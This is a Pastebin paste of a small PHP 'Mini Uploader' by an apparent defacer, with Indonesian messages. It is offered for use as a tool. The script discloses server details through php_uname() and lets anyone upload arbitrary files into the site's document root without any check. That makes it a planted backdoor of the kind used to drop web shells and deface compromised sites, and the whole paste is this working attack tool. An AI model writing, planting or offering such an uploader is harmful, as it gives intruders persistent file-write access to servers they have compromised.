SHARE
TWEET

Mini Uploader

ToKeiChun Nov 20th, 2017 (edited) 153 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2.  
  3. echo "Tools Pengupload by Mr.ToKeiChun69<br>";
  4.  
  5. echo "<b>".php_uname()."</b><br>";
  6.  
  7. echo "<form method='post' enctype='multipart/form-data'>
  8.  
  9.       <input type='file' name='idx_file'>
  10.  
  11.       <input type='submit' name='upload' value='upload'>
  12.  
  13.       </form>";
  14.  
  15. $root = $_SERVER['DOCUMENT_ROOT'];
  16.  
  17. $files = $_FILES['idx_file']['name'];
  18.  
  19. $dest = $root.'/'.$files;
  20.  
  21. if(isset($_POST['upload'])) {
  22.  
  23.     if(is_writable($root)) {
  24.  
  25.         if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  26.  
  27.             $web = "http://".$_SERVER['HTTP_HOST']."/";
  28.  
  29.             echo "Sukses Upload -> <a href='$web$files' target='_blank'><b><u>$web$files</u></b></a>";
  30.  
  31.         } else {
  32.  
  33.             echo "Gagal Upload.";
  34.  
  35.         }
  36.  
  37.     } else {
  38.  
  39.         if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  40.  
  41.             echo "sukses upload <b>$files</b> di folder ini";
  42.  
  43.         } else {
  44.  
  45.             echo "gagal upload";
  46.  
  47.         }
  48.  
  49.     }
  50.  
  51. }
  52.  
  53. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top